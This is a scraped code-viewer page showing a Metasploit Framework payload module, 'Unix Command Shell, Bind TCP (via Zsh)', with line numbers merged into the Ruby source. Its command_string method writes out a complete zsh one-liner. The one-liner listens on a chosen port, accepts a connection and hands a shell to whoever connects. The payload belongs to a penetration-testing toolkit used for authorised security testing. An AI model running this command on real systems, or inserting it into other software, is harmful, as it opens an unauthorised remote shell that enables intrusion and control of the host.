Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/bind_zsh.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 99910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Unix Command Shell, Bind TCP (via Zsh)',16'Description' => %q{17Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is18often available, please be aware it isn't usually installed by default.19},20'Author' =>21[22'Doug Prostko <dougtko[at]gmail.com>', # Initial payload23'Wang Yihang <wangyihanger[at]gmail.com>' # Simplified redirections24],25'License' => MSF_LICENSE,26'Platform' => 'unix',27'Arch' => ARCH_CMD,28'Handler' => Msf::Handler::BindTcp,29'Session' => Msf::Sessions::CommandShell,30'PayloadType' => 'cmd',31'RequiredCmd' => 'zsh',32'Payload' =>33{34'Offsets' => { },35'Payload' => ''36}37))38register_advanced_options(39[40OptString.new('ZSHPath', [true, 'The path to the ZSH executable', 'zsh'])41]42)43end4445#46# Constructs the payload47#48def generate(_opts = {})49super + command_string50end5152#53# Returns the command string to use for execution54#55def command_string56"#{datastore['ZSHPath']} -c 'zmodload zsh/net/tcp && ztcp -l #{datastore['LPORT']} && ztcp -a $REPLY && #{datastore['ZSHPath']} >&$REPLY 2>&$REPLY 0>&$REPLY'"57end58end596061